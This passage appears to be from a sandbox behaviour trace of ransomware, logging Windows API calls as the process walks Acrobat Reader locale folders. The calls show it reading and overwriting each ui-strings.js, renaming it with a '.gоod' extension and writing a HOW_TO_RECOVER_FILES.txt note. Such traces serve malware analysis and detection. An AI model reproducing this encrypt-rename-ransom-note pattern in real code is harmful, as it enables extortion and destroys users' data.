returned 0x1 [0263.198] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x562 [0263.198] ReadFile (in: hFile=0x86c, lpBuffer=0x3aeedc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3aeedc0*, lpNumberOfBytesRead=0x202ec278*=0x562, lpOverlapped=0x0) returned 1 [0263.199] CloseHandle (hObject=0x86c) returned 1 [0265.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0265.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.562] GetFileType (hFile=0x858) returned 0x1 [0265.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0265.562] GetFileType (hFile=0x858) returned 0x1 [0265.562] WriteFile (in: hFile=0x858, lpBuffer=0x3909d70*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3909d70*, lpNumberOfBytesWritten=0x202ec188*=0x570, lpOverlapped=0x0) returned 1 [0265.563] CloseHandle (hObject=0x858) returned 1 [0265.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0265.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0265.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a8071ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0265.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0265.563] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0265.564] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0265.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0265.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0265.675] GetFileType (hFile=0x828) returned 0x1 [0265.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0265.675] GetFileType (hFile=0x828) returned 0x1 [0267.905] WriteFile (in: hFile=0x828, lpBuffer=0x3dcfb60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3dcfb60*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0267.906] CloseHandle (hObject=0x828) returned 1 [0267.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0267.906] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn", lpFilePart=0x0) returned 0x77 [0267.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0267.907] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.907] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.907] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.907] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0267.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0267.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0267.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0267.907] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn", lpFilePart=0x0) returned 0x77 [0267.907] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0267.908] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.908] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.908] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.908] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0267.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0267.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0267.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0267.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ddfa38 | out: lpFileInformation=0x3ddfa38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568)) returned 1 [0267.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0267.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0267.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0267.909] GetFileType (hFile=0x828) returned 0x1 [0267.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0267.909] GetFileType (hFile=0x828) returned 0x1 [0267.909] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x568 [0267.909] ReadFile (in: hFile=0x828, lpBuffer=0x3de0348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3de0348*, lpNumberOfBytesRead=0x202ec278*=0x568, lpOverlapped=0x0) returned 1 [0267.910] CloseHandle (hObject=0x828) returned 1 [0268.083] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0268.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.084] GetFileType (hFile=0x89c) returned 0x1 [0268.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0268.084] GetFileType (hFile=0x89c) returned 0x1 [0268.085] WriteFile (in: hFile=0x89c, lpBuffer=0x3a6c0b8*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3a6c0b8*, lpNumberOfBytesWritten=0x202ec188*=0x570, lpOverlapped=0x0) returned 1 [0268.085] CloseHandle (hObject=0x89c) returned 1 [0268.085] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.085] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0268.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0268.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c004ca9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0268.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0268.085] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\ui-strings.js.gоod")) returned 1 [0268.087] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0268.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0268.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.088] GetFileType (hFile=0x89c) returned 0x1 [0268.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0268.088] GetFileType (hFile=0x89c) returned 0x1 [0268.088] WriteFile (in: hFile=0x89c, lpBuffer=0x3a6f9c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3a6f9c8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0268.089] CloseHandle (hObject=0x89c) returned 1 [0268.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0268.089] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw", lpFilePart=0x0) returned 0x77 [0268.089] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0268.090] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.090] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0268.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0268.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0268.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0268.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw", lpFilePart=0x0) returned 0x77 [0268.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0268.090] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.091] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, 